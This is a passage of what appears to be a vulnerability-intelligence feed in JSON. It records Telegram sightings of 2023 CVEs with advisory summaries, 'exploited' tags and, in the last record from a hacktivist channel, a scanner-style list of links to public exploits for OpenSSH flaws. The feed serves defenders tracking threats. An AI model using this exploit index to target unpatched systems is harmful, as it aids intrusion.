"author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48945", "type": "seen", "source": "https://t.me/ctinow/157005", "content": "https://ift.tt/g6XreYx\nCVE-2023-48945 | openlink virtuoso-opensource 7.2.11 SQL stack-based overflow (Issue 1172)", "creation_timestamp": "2023-12-20T14:18:11.000000Z"}, {"uuid": "2f304833-04ee-494c-bb51-b1d9ab8efa54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4810", "type": "seen", "source": "https://t.me/cibsecurity/73654", "content": "\u203c CVE-2023-4810 \u203c\n\nThe Responsive Pricing Table WordPress plugin before 5.1.8 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-07T00:26:12.000000Z"}, {"uuid": "e37ded5b-fc07-4451-9f61-cca00b4e5aa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48946", "type": "seen", "source": "https://t.me/ctinow/156947", "content": "https://ift.tt/2EAS6Tg\nCVE-2023-48946 | openlink virtuoso-opensource 7.2.11 SELECT Statement box_mpy denial of service (Issue 1178)", "creation_timestamp": "2023-12-20T13:18:06.000000Z"}, {"uuid": "3d005615-1cc6-4315-830c-8d4173066f90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48882", "type": "seen", "source": "https://t.me/ctinow/156894", "content": "https://ift.tt/ER18TDL\nCVE-2023-48882 | EyouCMS 1.6.4-UTF8 /login.php Document Properties cross site scripting (Issue 54)", "creation_timestamp": "2023-12-20T11:41:55.000000Z"}, {"uuid": "2b975e58-a9dc-4cb4-90bb-7c1283e15df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48225", "type": "seen", "source": "https://t.me/ctinow/156542", "content": "https://ift.tt/WxqB2RE\nCVE-2023-48225 Exploit", "creation_timestamp": "2023-12-19T19:18:26.000000Z"}, {"uuid": "2ad8bba9-e300-42c7-80e1-10cb400732c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/ctinow/156335", "content": "https://ift.tt/20FoZgx\nSSH vulnerability exploitable in Terrapin attacks (CVE-2023-48795)", "creation_timestamp": "2023-12-19T11:52:45.000000Z"}, {"uuid": "34613b3f-cb58-4000-ac3e-ad63d40f764f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/ctinow/156067", "content": "https://ift.tt/c5UDFoQ\nCVE-2023-48795 | OpenSSH up to 9.5 Binary Packet Protocol Terrapin inadequate encryption", "creation_timestamp": "2023-12-18T19:47:03.000000Z"}, {"uuid": "58e01ef7-ec9a-414e-99a9-7008cdc79065", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48707", "type": "seen", "source": "https://t.me/ctinow/155423", "content": "https://ift.tt/A9sPxoU\nCVE-2023-48707 | CodeIgniter4 Shield up to 1.0.0-beta.7 HMAC SHA256 cleartext storage", "creation_timestamp": "2023-12-16T15:17:55.000000Z"}, {"uuid": "747dca83-8f66-4094-accd-7be7f25dbe02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48708", "type": "seen", "source": "https://t.me/ctinow/155417", "content": "https://ift.tt/wlED3AG\nCVE-2023-48708 | CodeIgniter4 Shield up to 1.0.0-beta.7 Login log file", "creation_timestamp": "2023-12-16T14:48:05.000000Z"}, {"uuid": "449a7914-74b5-4ff4-a4f3-8d175ff6df11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48312", "type": "seen", "source": "https://t.me/ctinow/155416", "content": "https://ift.tt/QTGcEim\nCVE-2023-48312 | capsule-proxy up to 0.4.5 TokenReview improper authentication", "creation_timestamp": "2023-12-16T14:48:04.000000Z"}, {"uuid": "34af5c37-939e-4b42-a6da-3d4567a81c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48712", "type": "seen", "source": "https://t.me/ctinow/155415", "content": "https://ift.tt/sA7qeRb\nCVE-2023-48712 | warp-tech warpgate up to 0.8.x authorization (GHSA-c94j-vqr5-3mxr)", "creation_timestamp": "2023-12-16T14:48:03.000000Z"}, {"uuid": "3b2b1b29-0e67-428c-8921-06c75b4630e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48796", "type": "seen", "source": "https://t.me/ctinow/155412", "content": "https://ift.tt/FUAsx9L\nCVE-2023-48796 | Apache DolphinScheduler 3.0.0/3.0.1 information disclosure", "creation_timestamp": "2023-12-16T14:48:00.000000Z"}, {"uuid": "4b267eef-4d8e-4d8b-b76c-fcfb9a39c617", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48748", "type": "seen", "source": "https://t.me/ctinow/155649", "content": "https://ift.tt/WwR5TSt\nCVE-2023-48748 | Salient Core Plugin up to 2.0.2 on WordPress cross site scripting", "creation_timestamp": "2023-12-17T18:17:37.000000Z"}, {"uuid": "db54267e-1ebe-4118-be36-28c03f33f5ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48749", "type": "seen", "source": "https://t.me/ctinow/155647", "content": "https://ift.tt/KZ1ABVg\nCVE-2023-48749 | Salient Core Plugin up to 2.0.2 on WordPress cross site scripting", "creation_timestamp": "2023-12-17T17:48:08.000000Z"}, {"uuid": "a7a38d03-07c8-44aa-b0ad-599f228700d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48321", "type": "seen", "source": "https://t.me/ctinow/155646", "content": "https://ift.tt/o1gx9OS\nCVE-2023-48321 | Accelerated Mobile Pages Plugin up to 1.0.88.1 on WordPress Shortcode cross site scripting", "creation_timestamp": "2023-12-17T17:48:07.000000Z"}, {"uuid": "43cf5fa3-c619-4c9b-965f-7fe8a2bc4310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48023", "type": "seen", "source": "https://t.me/ctinow/155637", "content": "https://ift.tt/qjz97md\nCVE-2023-48023 | Anyscale Ray 2.6.3/2.8.0 /log_proxy server-side request forgery", "creation_timestamp": "2023-12-17T16:42:33.000000Z"}, {"uuid": "3e44fe82-2b80-42eb-859f-5fe059d276c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://t.me/ctinow/155636", "content": "https://ift.tt/j9pxdgE\nCVE-2023-48022 | Anyscale Ray 2.6.3/2.8.0 Job Submission API server-side request forgery", "creation_timestamp": "2023-12-17T16:42:32.000000Z"}, {"uuid": "038194b9-b858-42ac-8185-20ce82ae7947", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48713", "type": "seen", "source": "https://t.me/ctinow/155575", "content": "https://ift.tt/Zfhig2J\nCVE-2023-48713 | knative serving up to 0.38.x Autoscaler /metrics resource consumption (GHSA-qmvj-4qr9-v547)", "creation_timestamp": "2023-12-17T11:06:34.000000Z"}, {"uuid": "770a7eed-c621-4d45-9da3-d1792d714257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48739", "type": "seen", "source": "https://t.me/cvedetector/14163", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-48739 - Porto Theme Missing Authorization\", \n  \"Content\": \"CVE ID : CVE-2023-48739 \nPublished : Jan. 2, 2025, 3:15 p.m. | 27\u00a0minutes ago \nDescription : Missing Authorization vulnerability in Porto Theme Porto Theme - Functionality allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Porto Theme - Functionality: from n/a before 2.12.1. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T16:46:07.000000Z"}, {"uuid": "3b34ffaf-0d98-4a4b-beb2-ad92aa138b29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48282", "type": "seen", "source": "https://t.me/ctinow/155607", "content": "https://ift.tt/H8OVxeR\nCVE-2023-48282 | Taxonomy Filter Plugin up to 2.2.9 on WordPress taxonomy_filter_save_main_settings cross-site request forgery", "creation_timestamp": "2023-12-17T14:17:17.000000Z"}, {"uuid": "22a16a88-6996-45d6-a93c-e2922fe73097", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48279", "type": "seen", "source": "https://t.me/ctinow/155602", "content": "https://ift.tt/q8chNZ2\nCVE-2023-48279 | Seraphinite Post DOCX Source Plugin up to 2.16.6 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-17T13:47:05.000000Z"}, {"uuid": "9003e492-5c6d-4921-a975-56170e1f394f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48331", "type": "seen", "source": "https://t.me/ctinow/155595", "content": "https://ift.tt/ODBPC50\nCVE-2023-48331 | MyBookTable Bookstore Plugin up to 3.3.3 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-17T13:12:03.000000Z"}, {"uuid": "0ccee851-7abc-4a57-979d-8961128e3ed1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48034", "type": "seen", "source": "https://t.me/ctinow/155592", "content": "https://ift.tt/nCw2FT9\nCVE-2023-48034 | Acer Wireless Keyboard SK-9662 inadequate encryption", "creation_timestamp": "2023-12-17T12:41:54.000000Z"}, {"uuid": "2f193b73-5c79-4e18-8a67-0350131e1713", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48758", "type": "seen", "source": "https://t.me/cvedetector/14164", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-48758 - Crocoblock JetEngine Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-48758 \nPublished : Jan. 2, 2025, 3:15 p.m. | 27\u00a0minutes ago \nDescription : Missing Authorization vulnerability in Crocoblock JetEngine allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects JetEngine: from n/a through 3.2.4. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T16:46:07.000000Z"}, {"uuid": "9a097a2c-02a5-4f68-9343-c4c884d085f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48775", "type": "seen", "source": "https://t.me/cvedetector/14018", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-48775 - Gfazioli WP Cleanfix Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-48775 \nPublished : Dec. 31, 2024, 1:15 p.m. | 38\u00a0minutes ago \nDescription : Missing Authorization vulnerability in Gfazioli WP Cleanfix allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Cleanfix: from n/a through 5.6.2. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T15:23:01.000000Z"}, {"uuid": "793f0090-4735-4cf2-bbb2-873b4d695531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48369", "type": "seen", "source": "https://t.me/ctinow/155481", "content": "https://ift.tt/AYnHjgD\nCVE-2023-48369 | Mattermost up to 7.8.12/8.1.3/9.0.1/9.1.0 Log resource consumption", "creation_timestamp": "2023-12-16T21:22:45.000000Z"}, {"uuid": "064c67c7-7cfe-4e37-b937-8607eec4bacd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48281", "type": "seen", "source": "https://t.me/ctinow/155557", "content": "https://ift.tt/RBYhkU2\nCVE-2023-48281 | Broken Link Checker for YouTube Plugin up to 1.3 on WordPress plugin_settings_page cross-site request forgery", "creation_timestamp": "2023-12-17T10:11:51.000000Z"}, {"uuid": "d8c46f4c-130d-40c6-bf3f-48664f8db3e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48333", "type": "seen", "source": "https://t.me/ctinow/155556", "content": "https://ift.tt/AZeujUJ\nCVE-2023-48333 | Booster for WooCommerce Plugin up to 7.1.1 on WordPress authorization", "creation_timestamp": "2023-12-17T10:11:50.000000Z"}, {"uuid": "29231546-549b-41da-a161-f741a2c799c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48268", "type": "seen", "source": "https://t.me/ctinow/155468", "content": "https://ift.tt/ZgL70PW\nCVE-2023-48268 | Mattermost up to 7.8.12/8.1.3/9.0.1/9.1.0 Zip resource consumption", "creation_timestamp": "2023-12-16T20:22:56.000000Z"}, {"uuid": "f57fc5af-900b-494b-a9d6-cde1db5f21aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/ctinow/138576", "content": "https://ift.tt/B6jzChs\nRezilion Researchers Uncover New Details on Severity of Google Chrome Zero-Day Vulnerability (CVE-2023-4863) - Security Boulevard", "creation_timestamp": "2023-09-21T21:02:38.000000Z"}, {"uuid": "e7a54f6c-371e-4bdd-8d3b-6f0adee97c79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/ctinow/136284", "content": "https://ift.tt/2eFqE9R\nChrome zero-day exploited in the wild, patch now! (CVE-2023-4863) - Help Net Security", "creation_timestamp": "2023-09-12T11:51:54.000000Z"}, {"uuid": "192ee766-f60a-4a81-be3d-05542d5bb331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/ctinow/136280", "content": "https://ift.tt/2eFqE9R\nChrome zero-day exploited in the wild, patch now! (CVE-2023-4863)", "creation_timestamp": "2023-09-12T11:42:39.000000Z"}, {"uuid": "199dfde0-99b3-4ba5-a1c5-0b8bfd59ee77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48010", "type": "seen", "source": "https://t.me/cvedetector/12138", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-48010 - STMicroelectronics SPC58 is vulnerable to Missing\", \n  \"Content\": \"CVE ID : CVE-2023-48010 \nPublished : Dec. 5, 2024, 8:15 p.m. | 41\u00a0minutes ago \nDescription : STMicroelectronics SPC58 is vulnerable to Missing Protection Mechanism for Alternate Hardware Interface. Code running as Supervisor on the SPC58 PowerPC microcontrollers may disable the System Memory Protection Unit and gain unabridged read/write access to protected assets. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T22:03:20.000000Z"}, {"uuid": "d7134c37-513e-4a2f-a2d1-0291ea01877a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48121", "type": "seen", "source": "Telegram/mz79O5Gczbro2H5WMb_3Vzckk-IuccpYC_5S1BWnVwGy", "content": "", "creation_timestamp": "2024-02-25T07:31:14.000000Z"}, {"uuid": "6980c01f-6c4b-4597-bd96-6a568ece5b90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4822", "type": "seen", "source": "Telegram/lQciRrBh8t0pVPKaka3dfxRbmDgLE38ReFpihVKp45XJHdKF", "content": "", "creation_timestamp": "2025-02-14T09:46:58.000000Z"}, {"uuid": "2d1808b6-22fc-4a84-8e06-b4485af67650", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48082", "type": "seen", "source": "https://t.me/cvedetector/7858", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-48082 - Nagios XI API Key Generation Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2023-48082 \nPublished : Oct. 14, 2024, 7:15 p.m. | 21\u00a0minutes ago \nDescription : Nagios XI before 5.11.3 2024R1 was discovered to improperly handle API keys generation (randomly-generated), allowing attackers to possibly generate the same set of API keys for all users and utilize them to authenticate. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-14T21:42:08.000000Z"}, {"uuid": "0f364cf4-811d-4343-9306-c36576256b87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/HackingInsights/14002", "content": "\u200aCVE-2023-48788 Exploited: Researcher Details Cyberattacks on Fortinet EMS\n\nhttps://securityonline.info/cve-2023-48788-exploited-researcher-details-cyberattacks-on-fortinet-ems/", "creation_timestamp": "2024-09-22T17:57:05.000000Z"}, {"uuid": "3f57780a-854a-459b-91ea-5c4903bded7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48957", "type": "seen", "source": "https://t.me/cvedetector/4089", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-48957 - PureVPN Linux client DNS Tunnel Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-48957 \nPublished : Aug. 25, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : PureVPN Linux client 2.0.2-Productions fails to properly handle DNS queries, allowing them to bypass the VPN tunnel and be sent directly to the ISP or default DNS servers. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-25T20:08:49.000000Z"}, {"uuid": "9b286685-ca18-462a-9f43-4fc1c3078346", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/CyberBulletin/680", "content": "\u26a1\ufe0fMedusa Exploits Fortinet Flaw (CVE-2023-48788) for Stealthy Ransomware Attacks.\n\n#CyberBulletin", "creation_timestamp": "2024-09-15T15:58:03.000000Z"}, {"uuid": "97dc0099-3f74-43d8-9a5d-1ef6d8505333", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48171", "type": "seen", "source": "https://t.me/cvedetector/2894", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-48171 - OWASP DefectDojo Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-48171 \nPublished : Aug. 12, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : An issue in OWASP DefectDojo before v.1.5.3.1 allows a remote attacker to escalate privileges via the user permissions component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-12T22:41:32.000000Z"}, {"uuid": "ab6f5f90-b31a-463f-8b57-e18ad151ea9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/cvedetector/2863", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-41909 - Apache MINA SSHD Terrapin Attack\", \n  \"Content\": \"CVE ID : CVE-2024-41909 \nPublished : Aug. 12, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : Like many other SSH implementations, Apache MINA SSHD suffered from the issue that is more widely known as CVE-2023-48795. An attacker that can intercept traffic between client and server could drop certain packets from the stream, potentially causing client and server to consequently end up with a connection for which   \nsome security features have been downgraded or disabled, aka a Terrapin   \nattack  \n  \nThe mitigations to prevent this type of attack were implemented in Apache MINA SSHD 2.12.0, both client and server side. Users are recommended to upgrade to at least this version. Note that both the client and the server implementation must have mitigations applied against this issue, otherwise the connection may still be affected. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-12T19:17:38.000000Z"}, {"uuid": "e18d4289-a2e4-4033-b430-7e6923248eea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48362", "type": "seen", "source": "https://t.me/cvedetector/1553", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-48362 - Apache Drill XML Format Plugin XXE Remote File System Access and Command Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-48362 \nPublished : July 24, 2024, 8:15 a.m. | 27\u00a0minutes ago \nDescription : XXE in the XML Format Plugin in Apache Drill version 1.19.0 and greater allows a user to read any file on a remote file system or execute commands via a malicious XML file.  \nUsers are recommended to upgrade to version 1.21.2, which fixes this issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-24T10:47:52.000000Z"}, {"uuid": "5071b8d4-1e7f-48ee-ad81-2688d5d67c2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48396", "type": "seen", "source": "https://t.me/cvedetector/2030", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-48396 - Apache SeaTunnel Hardcoded JWT Key SSRF\", \n  \"Content\": \"CVE ID : CVE-2023-48396 \nPublished : July 30, 2024, 9:15 a.m. | 43\u00a0minutes ago \nDescription : Web Authentication vulnerability in Apache SeaTunnel.\u00a0Since the jwt key is hardcoded in the application, an attacker can forge  \nany token to log in any user.  \n  \nAttacker can get\u00a0secret key in\u00a0/seatunnel-server/seatunnel-app/src/main/resources/application.yml and then create a token.  \nThis issue affects Apache SeaTunnel: 1.0.0.  \n  \nUsers are recommended to upgrade to version 1.0.1, which fixes the issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T14:14:44.000000Z"}, {"uuid": "b03d7a4d-90b6-44b1-8f8c-32b1cf2c7681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/10590", "content": "8.1     https://vulners.com/githubexploit/123C2683-74BE-5320-AA3A-C376C8E3A992        *EXPLOIT*              |       11F020AC-F907-5606-8805-0516E06160EE   8.1     https://vulners.com/githubexploit/11F020AC-F907-5606-8805-0516E06160EE        *EXPLOIT*              |       108E1D25-1F7E-534C-97CD-3F6045E32B98   8.1     https://vulners.com/githubexploit/108E1D25-1F7E-534C-97CD-3F6045E32B98        *EXPLOIT*              |       0FC4BE81-312B-51F4-9D9B-66D8B5C093CD   8.1     https://vulners.com/githubexploit/0FC4BE81-312B-51F4-9D9B-66D8B5C093CD        *EXPLOIT*              |       0F9B3655-C7D4-55A9-8EB5-2EAD9CEAB180   8.1     https://vulners.com/githubexploit/0F9B3655-C7D4-55A9-8EB5-2EAD9CEAB180        *EXPLOIT*              |       0E9294FD-6B44-503A-84C2-C6E76E53B0B7   8.1     https://vulners.com/githubexploit/0E9294FD-6B44-503A-84C2-C6E76E53B0B7        *EXPLOIT*              |       0A8CA57C-ED38-5301-A03A-C841BD3082EC   8.1     https://vulners.com/githubexploit/0A8CA57C-ED38-5301-A03A-C841BD3082EC        *EXPLOIT*              |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2023-51384  5.5     https://vulners.com/cve/CVE-2023-51384        |       PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      